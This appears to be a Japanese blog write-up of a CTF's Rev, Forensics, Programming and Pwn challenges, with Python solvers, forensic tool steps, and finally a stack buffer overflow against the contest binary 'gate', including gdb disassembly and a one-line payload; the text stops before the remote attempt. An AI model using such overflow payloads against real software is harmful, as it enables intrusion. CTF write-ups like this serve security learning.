37, 48, 34, 41, 61, 199, 49, 220, 63, 115, 59, 220, 200, 46, 115, 57, 220, 214, 50, 53, 46, 47, 37, 124, 62, 9 }; for (int i = 0; i < array.Length; i++) { array[i] ^= A_1[12]; array[i] ^= A_1[8]; array[i] ^= A_1[3]; array[i] ^= 35; if (a(array[i], 113)) { array[i] += 3; } array[i] ^= 21; array[i] -= 32; array[i] = b(array[i], 114); } Console.WriteLine(Encoding.ASCII.GetString(array)); } else { Console.WriteLine("nice try!"); } } }
よく分からないので、Python で同じ処理を書いていきます。途中ですが、分かったので、ここまでにしました。
def main(): # main関数 array = [65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177] for ii, val in enumerate(array): array[ii] ^= 35 if sub_a(array[ii], 119): array[ii] += 3 array[ii] ^= 21 array[ii] -= 32 array[ii] = sub_b( array[ii], 39 ) goal_a( array ) def goal_a( array ): for ii in array: print( f"{chr(ii)}, ", end="" ) print() array2 = [9, 37, 48, 34, 41, 61, 199, 49, 220, 63, 115, 59, 220, 200, 46, 115, 57, 220, 214, 50, 53, 46, 47, 37, 124, 62, 9] def sub_a( target, val ): if val == 119: if target in [107, 117, 108, 102, 98]: return True else: if target in [110, 119, 99, 111, 97, 101, 112, 103, 108, 107, 112, 113]: return True return False def sub_b( target, val ): if val == 114: target = target ^ 0x28 elif val == 39: target = target ^ 0x13 return target if __name__ == '__main__': main()
実装した Python を実行します。このディレクトリを作って、この場所で実行すればいいということでした。
$ python to_analyze.py C, :, \, U, s, e, r, s, \, 3, 2, 1, t, x, t,
ディレクトリを作って実行してみます。
c:\Users\321txt>dreamcheck.exe Yes, that's the right answer. flag{Do_y0u_Kn0w_Ursnif?}
flag{Do_y0u_Kn0w_Ursnif?} でした。
200ポイント獲得して、計1990ポイントで、690名中、131位になりました!
Rev カテゴリは完了です!
Forensics
次のカテゴリは、Forensics(フォレンジック)です。
paint_flag
ダウンロードしたファイルを開くと、Word のファイルが出てきました。

とりあえず、表層解析(と言うそうです)です。
$ file paint_flag.docx
paint_flag.docx: Microsoft Word 2007+
とりあえず、LibreOffice で開いてみます。
「Microsof Office’s docx files are actually ___ files. 」と書かれています。調べてみると、Wordファイルは ZIPファイルとして展開できるそうです。早速展開しました。
word/media/flag.png に答えがありました。
flag{What_m4tters_is_inside;)}
50ポイント獲得して、計1090ポイントで、690名中、214位になりました!
次は、メールを解析するようです。

ダウンロードしたファイルを解凍すると、どうやら、ThunderBird のファイル形式のようです。Ubuntu を起動して、開いてみます。いろいろやってみましたが、ThunderBird で開くことは出来ませんでした。
仕方ないので、普通にファイルを開いて見ていきます。ファイルサイズ的に、Sent-1 というファイルが大きいです。中はテキストでした。kimitsu.zip という内容がありました。
base64 のテキストをコピーして、オンラインのデコードツールに貼り付けると ZIPファイルが出来ました。中身は画像ファイルでした。
flag{You've_clearly_done_a_good_job_there!!} でした。
50ポイント獲得して、計1140ポイントで、690名中、211位になりました!
Deletedfile
次は、ファイルの復元?の問題です。

ダウンロードしたファイルを解凍すると、deletedfile.raw というファイルが得られました。とりあえず、ファイルの概要を調べます。
$ file deletedfile.raw deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors
エラーがあると言ってます。バイナリエディタで開きます。真面目にファイルシステムを解析するのは大変そうですが、やれるところまで、やってみます。
先頭の 512byte(0x200)は、マスターブートレコード(MBR)です。先頭から 0x1BE の位置から、16byteごとに4つのパーティションテーブルが存在します。見てみると、第1パーティション(00 00 02 00 EE FE 3F 00 01 00 00 00 FF FF FF FF)だけが使われているようです。
このパーティションテーブルの内容を確認します。
- ブート不可
- パーティションの最初のセクタ(CHS方式):0x200
- パーティション識別子:0xEE(GPT)
- パーティションの最後のセクタ(CHS方式):0x3FFE
- パーティションの最初のセクタ(LBA方式):1
- パーティションの全セクタ数:0xFFFFFFFF
いや、ちょっと大変すぎますね、ツールとかがあるはずですので、探してみます。FTK Imager というツールが有名らしいです。Windows版しかないようです。さくっとインストールしました。
使い方は全く分からないですが、Dドライブにマウントされました。word.jpg というファイルが 1つだけありましたが、あまり関係ない気がします。
別のツールの Autopsy というのがあるようです。こちらもやってみます。ダウンロードしたファイルは、約1.1GB ありました。こちらもインストールします。
インストールが終わったら、適当に設定をします。deletedfile.raw を解析します。だいぶ時間がかかります。長すぎなので、次の Programming の ZZZIPPP を解析の間にやります。
解析は 69% から全く進まなくなったけど、削除されたファイルの中に、「secret_word.jpg」がありました。
flag{nosce_te_ipsum} でした。
80ポイント獲得して、計1300ポイントで、690名中、193位になりました!
Timeline(追記:2024/10/19)
添付ファイルを解凍すると、Windows の AppData のフォルダが得られます。

fileコマンドを実行します。SQLite のデータベースファイルのようです。DB Browser for SQLite で開いてみます。
$ file ./* ./ActivitiesCache.db: SQLite 3.x database, user version 27, last written using SQLite version 3025003, writer version 2, read version 2, file counter 5, database pages 129, cookie 0x16, schema 4, UTF-8, version-valid-for 5 ./ActivitiesCache.db-shm: data ./ActivitiesCache.db-wal: SQLite Write-Ahead Log, version 3007000
たくさんのデータがあります。ConnectedDevicesPlatform で Web検索してみると、Windowsの活動を時系列で記録したデータベースのようです。
解析ツールがあるらしいので使ってみます。
SQLite x64 みたいなライブラリを自動でインストールしてくれます。ちょっと時間がかかってインストールが終わると、WindowsTimeline を再起動します。解凍した ActivitiesCache.db を読み込んで Run を押すと解析が始まります。
Windows の操作の履歴が表示されました。いくつかの x.txt みたいな 1文字のファイル名のテキストファイルを作っているようです。あ、ファイル名がフラグのようです。順番につなげていくと、flag{Th3_Fu7Ure_1s_N0w} でした。
100ポイント獲得して、計4920ポイントで、718名中、39位になりました!
browser_db(追記:2024/10/20)
添付ファイルを解凍すると、SQLite のデータベースファイルが得られました。

FireFox のデータベースのようです。最近の FireFox は、内部で SQLite を使ってるんですね、初めて知りました。
では、データベースファイルを DB Browser for SQLite で開きます。テーブルを CSVエクスポートします。複数のテーブルを選択すると一気にエクスポートしてくれるので便利です。
うさみみハリケーンの YARAルールスキャンを行います。moz_places.csv に何かありそうです。
フラグがありました。flag{goosegoosego} でした。
100ポイント獲得して、計5020ポイントで、719名中、37位になりました!
MFT(追記:2024/10/20)
ダウンロードしたファイルを解凍すると、1つのファイル(C_$MFT)が得られました。

うさみみハリケーンで調べると、NTFS Master File Table だそうです。ファイルシステムのテーブル情報でしょうか。YARAルールスキャンを実行します。あ、今回は、flag{} の形式ではないのでダメですね。
バイナリエディタで開きます。フォーマットを理解して、真面目に解析する前に、ファイルサイズとタイムスタンプが分かっているので、その情報で検索します。
まず、ファイルサイズの 465030(0x71886)で検索すると、5件ヒットします。
次に、タイムスタンプは、ChatGPT に計算してもらいました。2021-07-18 18:30 は、00 84 18 AB 2E C0 77 1D とのことです。
ファイル名は、UTF-16 で格納されてるらしいです。
Active @ Disk Editor というツールを使ってる方がいたので、使ってみます。
先ほどヒットした5件を順番に見ていきます。ヘルプなどを全く見てないので、感覚で使ってますが、以下の手順で行いました。
Navigate → Go to Offset... で、ヒットしたオフセットを指定する。MFT は、1kbyte単位らしいので、先頭に FILE というマジックナンバーがあるところにカーソルを合わせてダブルクリック(512byte=セクタが認識されてそう)する。先頭バイトにカーソルを合わせた状態で右クリックして、Set Template Position をクリックして、左上の Templates を NTFS MFT File Record に合わせる。すると、各フィールドが表示されるので、そこから $FILE_NAME を探す。Real Size にファイルサイズが入っていそうなので、そこがマッチするかを確認する。マッチしてれば、その上にあるタイムスタンプと、その下にある File Name を確認する。
flag{kimitsu.zip} でした。
100ポイント獲得して、計5120ポイントで、719名中、36位になりました!
ファイルシステムの ext にも対応してそうなので、次からはこのツールを使って解析したいと思います。
tkys_another_day(追記:2024/10/20)
ダウンロードしたファイルを解凍すると PNGファイル(tkys_another_day.png)が得られます。

PNGファイルを開いてみると、一部のフラグが表示されている状態?です。
とりあえず、うさみみハリケーンのステガノグラフィー解析をやってみましたが、特に隠された情報はありませんでした。
ExifTool を使って情報を探して見ました。ちょっと気になったのは、Software のフィールドに、APNG Assembler 2.91 と書かれていました。調べてみるとアニメーション形式らしいです。Chrome ドラッグアンドドロップしてしばらくすると、さらに一部のフラグが表示されました。しかし、まだ不足している状態です。
いろいろ調べたところ、逆コンバーターみたいなのがあって、フレームごとに分解できました。ソフトのリンクだけ貼っておきます。
flag{a_fake_illness_is_the_most_serious_disease_f5ab7} でした。
100ポイント獲得して、計5220ポイントで、719名中、35位になりました!
MESSAGE(追記:2024/10/20)
ダウンロードしたファイルを解凍すると、JPG画像(lo3rs1tkd.jpg)が得られます。

JPG画像を開いてみると、普通の画像でした。先ほどの同じ手順で解析を進めます
ExifTool で JFIF と書かれていました。JPEG File Interchange Format の略だそうです。うさみみハリケーンでも何も見つかりません。binwalk、Autopsy、foremost も試してみましたが、見つかりません。Chrome に放り込んでみても何も起こりません。scalpel というツールも試してみましたが、見つかりません。
うーん、困りました。JPG画像ファイルを見てると、右下に変なところがあります。しかし、どうしていいか分かりません。ギブアップです。
writeupを見ると、右下の変なところが重要だったようです。このファイルはファイルサイズがおかしいので、それを変更するとフラグが現れるそうです。
JPEGファイルのフォーマット
JPEGファイルのフォーマットを知る必要があります。以下のサイトで理解していきます。
JPEGファイルのバイナリエディタでの解析方法をメモしておきます。先頭は 0xFFD8 で、末尾は 0xFFD9 です。これらはマーカーと呼ばれます。
FFD8 の後は、何らかのセグメントというブロックが続きます。何のセグメント(マーカー)で、長さ(セグメント長)の情報が、2byte、2byte で書かれています。
例えば、今回のファイルであれば、FFD8 の後は、マーカーが FFE0 とあるので、APP0 というセグメントです。FFE0 から FFEF は APPn セグメントだそうです。セグメント長は 0x0010 とあるので 16byte です。この 16byte は、マーカーは含まないみたいです。APPn のセグメントは作ったアプリケーションが定義できる領域なので、詳しくは見ません。
次のセグメントは、マーカーが FFDB で、DQT(Define Quantization Table)量子化テーブル定義とのことです。今回は関係ないので、次に行きます。次も DQT なので、その次に行きます。
次の FFC0(オフセット:9E)は、SOF(Start Of Frame)で、FFC0 から FFCF が SOF です。FFC4、FFC8、FFCC は定義されていないようで、13種類あるようです。ここに画像サイズが格納されています。セグメント長の後は、成分数(1byte)、縦サイズ(2byte)、横サイズ(2byte)、成分数(1byte)となっています。縦サイズ:959、横サイズ:1280 でした。
では、バイナリエディタで、この縦サイズを 959 から 1280 として正方形の画像に変更してみます。変更した後、ファイルを開いてみると、正方形の画像に変わりました。すると、右下に QRコードのようなものが見えます。
QRコードの作り方
さらに、ここから、正しい QRコードにしていく必要があります(120ポイントで難しすぎない?)。以下のサイトで QRコードを手書きで作れます。
QRコードにはバージョンがあるようで、バージョンによって、縦横のサイズが変わります。今回の画像でドットを数えると(たぶん)29個ありました。なので、ver.3 を選びます。あとは地道に 1つずつ色を塗っていくことになります(他に方法ないんでしょうか)。
左上、左下、右上の位置検出パターンをファインダパターン(切り出しシンボル)と言うそうです。また、右下のアライメントパターンは、歪みを補正する(位置ズレを補正する)ようです。
今回の画像には、アライメントパターンは書かれているので、それを目印に色塗りしていきます。うーん、この画像って、白黒が逆転してますね。見にくいので、うさみみハリケーンのステガノグラフィー解析で XOR反転させます。
120ポイント獲得して、計5340ポイントで、720名中、34位になりました!
Forensics はここまでにします。
Programming
次のカテゴリは、Programming です。CTF によっては PPC(Professional Programming and Coding)というカテゴリ名で分類されることもあるそうです。
ZZZIPPP
ダウンロードしたファイルを解凍します。

また ZIPファイルが出てきました。それを解凍しても、また ZIPファイルが、、、なるほど、そういうことですね。じゃ、適当に Python で作ります。
import os, sys import argparse import shutil def unzip( fpath ): shutil.unpack_archive( fpath ) os.remove( fpath ) if __name__ == '__main__': fpath = "./flag1000.zip" dname = os.path.dirname( fpath ) while True: # unzip and remove unzip( fpath ) files = os.listdir( dname ) if len(files) > 1: raise fpath = files[0] if os.path.splitext( fpath )[1] != ".zip": break print( fpath )
雑でしたが、1000回解凍して、flag.txt が得られました。
flag{loop-zip-1989-zip-loop} でした。
80ポイント獲得して、計1220ポイントで、690名中、200位になりました!
Programming はここまでにします。
echo_me(追記:2024/9/16)
プログラムの配布はされないようです。

とにかく、アクセスしてみます。
あー、なるほどです。かなりの量を聞かれるので、プログラムで何とかしなさい、ってことですね。
$ nc nc.ctf.setodanote.net 26512 ========== echo me: 396623 ========== 396623 Correct! ========== echo me: 884886 ========== 884886 Correct! ========== echo me: 794973 ========== aaa Incorrect! Nice try!
では、せっかくなので、Pwntools を使ってやっていきます。
雑ですが、作りました。
import os, sys import argparse from pwn import * def main( args ): proc = remote( 'nc.ctf.setodanote.net', 26512 ) cnt = 0 while True: bstr = proc.recv( timeout=2 ) print( f"{cnt}: bstr={bstr}, bstr.split()={bstr.split()}" ) if len(bstr) > 0: bstr_split = bstr.split() if b'echo' in bstr_split: idx = bstr_split.index( b'echo' ) num = bstr_split[idx + 2] #bstr = proc.recv( timeout=1 ) #print( f"{cnt}: {bstr}" ) print( f"send: {num}" ) proc.sendline( num ) cnt = 0 else: cnt += 1 if __name__ == '__main__': main( args )
実行してみます。
$ python echo_me.py [+] Opening connection to nc.ctf.setodanote.net on port 26512: Done 0: bstr=b'==========\n', bstr.split()=[b'=========='] 0: bstr=b'echo me: 174687\n==========\n', bstr.split()=[b'echo', b'me:', b'174687', b'=========='] send: b'174687' 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 0: bstr=b'==========\necho me: 489883\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'489883', b'=========='] send: b'489883' 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 0: bstr=b'==========\necho me: 981329\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'981329', b'=========='] send: b'981329' 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 0: bstr=b'==========\necho me: 651174\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'651174', b'=========='] send: b'651174' (省略) send: b'29150530' 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 0: bstr=b'==========\necho me: 49234610\n==========\n', bstr.split()=[b'==========', b'echo', b'me:', b'49234610', b'=========='] send: b'49234610' 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 0: bstr=b'flag{Hellow_yamabiko_Yoo-hoo!}\n', bstr.split()=[b'flag{Hellow_yamabiko_Yoo-hoo!}'] Traceback (most recent call last): File "/home/user/svn/experiment/python/echo_me.py", line 35, in <module> main( args ) File "/home/user/svn/experiment/python/echo_me.py", line 13, in main bstr = proc.recv( timeout=2 ) ^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv return self._recv(numb, timeout) or b'' ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv if not self.buffer and not self._fillbuffer(timeout): ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError [*] Closed connection to nc.ctf.setodanote.net port 26512
だいぶ雑でしたが、flag{Hellow_yamabiko_Yoo-hoo!} でした。
120ポイント獲得して、計2110ポイントで、690名中、126位になりました!
EZZZIPPP(追記:2024/9/16)
上のパスワード付き版ですね。

上の Pythonスクリプトを変更して作っていきます。
import os, sys import argparse import pyzipper def unzip( fpath, fpass ): with open(fpass) as ff: ps = ff.read().strip() print( f"password={ps}" ) with pyzipper.AESZipFile(fpath) as zf: zf.setpassword( ps.encode('utf-8') ) zf.extractall('.') os.remove( fpath ) if __name__ == '__main__': fpath = "./flag1000.zip" fpass = "pass.txt" dname = os.path.dirname( fpath ) print( f"dname={dname}" ) while True: # unzip and remove unzip( fpath, fpass ) files = os.listdir( dname ) if len(files) != 2: raise for fpath in files: if os.path.splitext( fpath )[1] == ".zip": break print( fpath )
実行します。ちょっと時間がかかります。1000回なら 10分ぐらいかかりそうです。
$ python ../../../python/unzip2.py dname=. password=lCfIpIq2Ka flag999.zip password=xSdiBJD6qU flag998.zip password=SDOMUaDM58 flag997.zip password=hts6rRuyUI flag996.zip (省略) flag3.zip password=PQYrocq8RQ flag2.zip password=2MPNeLgcTV flag1.zip password=flag flag.txt password=flag Traceback (most recent call last): File "/home/user/svn/experiment/setodaNoteCTF/Programming/flag/../../../python/unzip2.py", line 27, in <module> unzip( fpath, fpass ) File "/home/user/svn/experiment/setodaNoteCTF/Programming/flag/../../../python/unzip2.py", line 11, in unzip with pyzipper.AESZipFile(fpath) as zf: ^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile_aes.py", line 338, in __init__ super().__init__(*args, **kwargs) File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile.py", line 1786, in __init__ raise e File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile.py", line 1749, in __init__ self._RealGetContents() File "/home/user/20240819/lib/python3.11/site-packages/pyzipper/zipfile.py", line 1816, in _RealGetContents raise BadZipFile("File is not a zip file") pyzipper.zipfile.BadZipFile: File is not a zip file
flag{bdf574f15645df736df13daef06128b8} でした。
150ポイント獲得して、計2260ポイントで、690名中、114位になりました!
deep_thought(追記:2024/9/16)
ファイルの配布はありません。

接続してみます。なるほどです。echo_me と似てますね。
$ nc nc.ctf.setodanote.net 26511 [ Q1 ] 4 + 4 8 Correct! [ Q2 ] 6 + 2 9 Incorrect! Nice try!
では、echo_me を改造して実装します。足し算以外が出てきたらビックリします、、、引き算も出ました(笑)。
import os, sys import struct from pwn import * def calc( bstr_split, ope ): if ope == "add": idx = bstr_split.index( b'+' ) num = int(bstr_split[idx - 1]) + int(bstr_split[idx + 1]) elif ope == "sub": idx = bstr_split.index( b'-' ) num = int(bstr_split[idx - 1]) - int(bstr_split[idx + 1]) print( f"send: {int(bstr_split[idx - 1])}, {int(bstr_split[idx + 1])}, num={num}" ) return num def main(): proc = remote( 'nc.ctf.setodanote.net', 26511 ) cnt = 0 while True: bstr = proc.recv( timeout=2 ) print( f"{cnt}: bstr={bstr}, bstr.split()={bstr.split()}" ) if len(bstr) > 0: bstr_split = bstr.split() if b'+' in bstr_split: num = calc( bstr_split, "add" ) proc.sendline( f"{num}".encode('utf-8') ) cnt = 0 elif b'-' in bstr_split: num = calc( bstr_split, "sub" ) proc.sendline( f"{num}".encode('utf-8') ) cnt = 0 else: cnt += 1 else: cnt += 1 if __name__ == '__main__': main()
実行してみます。
$ python deep_thought.py [+] Opening connection to nc.ctf.setodanote.net on port 26511: Done 0: bstr=b'[ Q1 ]\n', bstr.split()=[b'[', b'Q1', b']'] 1: bstr=b'1 + 3\n', bstr.split()=[b'1', b'+', b'3'] send: 1, 3, num=4 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 1: bstr=b'[ Q2 ]\n7 + 4\n', bstr.split()=[b'[', b'Q2', b']', b'7', b'+', b'4'] send: 7, 4, num=11 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 1: bstr=b'[ Q3 ]\n10 + 6\n', bstr.split()=[b'[', b'Q3', b']', b'10', b'+', b'6'] send: 10, 6, num=16 (省略) 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 1: bstr=b'[ Q50 ]\n2297 + 2041\n', bstr.split()=[b'[', b'Q50', b']', b'2297', b'+', b'2041'] send: 2297, 2041, num=4338 0: bstr=b'Correct!\n\n', bstr.split()=[b'Correct!'] 1: bstr=b'flag{__42__}\n', bstr.split()=[b'flag{__42__}'] Traceback (most recent call last): File "/home/user/svn/experiment/python/deep_thought.py", line 50, in <module> main() File "/home/user/svn/experiment/python/deep_thought.py", line 26, in main bstr = proc.recv( timeout=2 ) ^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv return self._recv(numb, timeout) or b'' ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv if not self.buffer and not self._fillbuffer(timeout): ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError [*] Closed connection to nc.ctf.setodanote.net port 26511
flag{__42__} でした。
250ポイント獲得して、計2510ポイントで、690名中、102位になりました!
Pwn
次のカテゴリは、Pwn です。
tkys_let_die
100ポイントの問題ですが、これが一番やさしい問題のはずなので、やっていきます。

とにかく、nc で繋いでみます。入口のような絵が出ました。名前を聞かれたので、入力したら、Gate が閉じてるから、Goodbay 言われました。Goodbye のことでしょうか(笑)。
$ nc nc.ctf.setodanote.net 26501 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > daisuke Gate is close. Goodbay daisuke.
では、ローカルで解析します。ダウンロードしたファイルを解凍すると、gate というプログラムと gate.c というソースコードが得られました。ソースコードが与えられるのは嬉しいですね。
$ file gate gate: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9d7ef71659ad8874194e92264ffdadac305c962, for GNU/Linux 3.2.0, not stripped
checksec をかけてみます。スタック上の実行も許可されているようです。
$ ../../../tools/checksec.sh-2.7.1/checksec --file=gate RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 70 Symbols No 0 1 gate
gate.c です。
if (strcmp(gate,"open")==0) { が真になれば、フラグが表示される仕組みのようです。しかし、ユーザが入力できるのは、name という変数なので、gate は "close" から変更できません。
#include <stdio.h> #include <string.h> #include <stdlib.h> void printFlag(void) { system("/bin/cat ./flag"); } int main(void) { char gate[6]="close"; char name[16]=".."; printf("\n"); printf(" {} {}\n"); printf(" ! ! ! II II ! ! !\n"); printf(" ! I__I__I_II II_I__I__I !\n"); printf(" I_/|__|__|_|| ||_|__|__|\\_I\n"); printf(" ! /|_/| | | || || | | |\\_|\\ !\n"); printf(" .--. I//| | | | || || | | | |\\\\I .--.\n"); printf(" /- \\ ! /|/ | | | | || || | | | | \\|\\ ! /= \\\n"); printf(" \\=__ / I//| | | | | || || | | | | |\\\\I \\-__ /\n"); printf(" } { ! /|/ | | | | | || || | | | | | \\|\\ ! } {\n"); printf(" {____} I//| | | | | | || || | | | | | |\\\\I {____}\n"); printf(" _!__!__|= |=/|/ | | | | | | || || | | | | | | \\|\\=| |__!__!_\n"); printf(" _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n"); printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n"); printf(" | | | || | | | | | | | || || | | | | | | | || | | |\n"); printf(" | | |= || | | | | | | | || || | | | | | | | ||= | | |\n"); printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n"); printf(" | | |- || | | | | | | | || || | | | | | | | ||- | | |\n"); printf(" _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_\n"); printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n"); printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n"); printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n"); printf("\n"); printf("You'll need permission to pass. What's your name?\n> "); scanf("%32[^\n]", name); if (strcmp(gate,"open")==0) { printFlag(); }else{ printf("Gate is %s.\n", gate); printf("Goodbay %s.\n", name); } return 0; }
ユーザの入力を受け付ける scanf("%32[^\n]", name); は、少し見慣れない書き方です。%[...] は文字セット指定子と呼ばれ、[] 内に許可する文字を指定します。それ以外の文字が入力されると終了します。%32 の部分は、入力文字数を32文字までに限定できます。つまり、改行が入力されるまで、最大31文字(NULL文字が入るため)を受け付けるということです。
ローカルで試してみます。name という変数は、ヌル文字を含めた 16文字しか格納できないので、多少おかしなことになっていますが、確かに 32文字を受け付けています。
Gate is close と表示されるはずが、数字になってますね。スタックオーバーフローして、ローカル変数が書き換えられたということだと思います。
$ chmod +x gate $ ./gate You'll need permission to pass. What's your name? > 012345678901234567890123456789012 Gate is 678901. Goodbay 01234567890123456789012345678901.
方針としては、スタックオーバーフローで、ローカル変数の gate を書き換えて、フラグを読み出す、になります。では、GDB で、スタックの細かい配置を確認してみます。プログラムも短いので、Ghidra による静的解析はスキップします。
起動直後に、逆アセンブラを表示したところです。+4 で、ローカル変数を 32byte 確保して、それ以降で初期化しています。
gdb-peda$ disas Dump of assembler code for function main: 0x0000555555555198 <+0>: push rbp 0x0000555555555199 <+1>: mov rbp,rsp => 0x000055555555519c <+4>: sub rsp,0x20 0x00005555555551a0 <+8>: mov DWORD PTR [rbp-0x6],0x736f6c63 0x00005555555551a7 <+15>: mov WORD PTR [rbp-0x2],0x65 0x00005555555551ad <+21>: mov QWORD PTR [rbp-0x20],0x2e2e 0x00005555555551b5 <+29>: mov QWORD PTR [rbp-0x18],0x0 0x00005555555551bd <+37>: mov edi,0xa 0x00005555555551c2 <+42>: call 0x555555555030 <putchar@plt>
スタックを表にしてみます。16byte + 10byte に任意の値を書き込んで、その後に、open とヌル文字を入れたら、クリアできそうです。
| アドレス | サイズ | 内容 | 備考 |
|---|---|---|---|
| rbp | 8 | 1つ前のrsp | |
| rbp-0x02 | 2 | 0x0065 | 65(e) 00 |
| rbp-0x06 | 4 | 0x736f6c63 | gate:63(c) 6c(l) 6f(o) 73(s) |
| rbp-0x10 | 10 | 10byte空き | |
| rbp-0x18 | 8 | 0 | |
| rbp-0x20 | 8 | 0x2e2e | name:2e(.) 2e(.) |
ローカルでやってみます。OK です。ローカルなのでフラグのファイルはありませんが、このままリモートでやればフラグが獲得できるはずです。
$ python -c 'print("A" * 16 + "X" * 10 + "open" + "\x00")' | ./gate {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? /bin/cat: ./flag: No such file or directory >
では、リモートでやってみます。
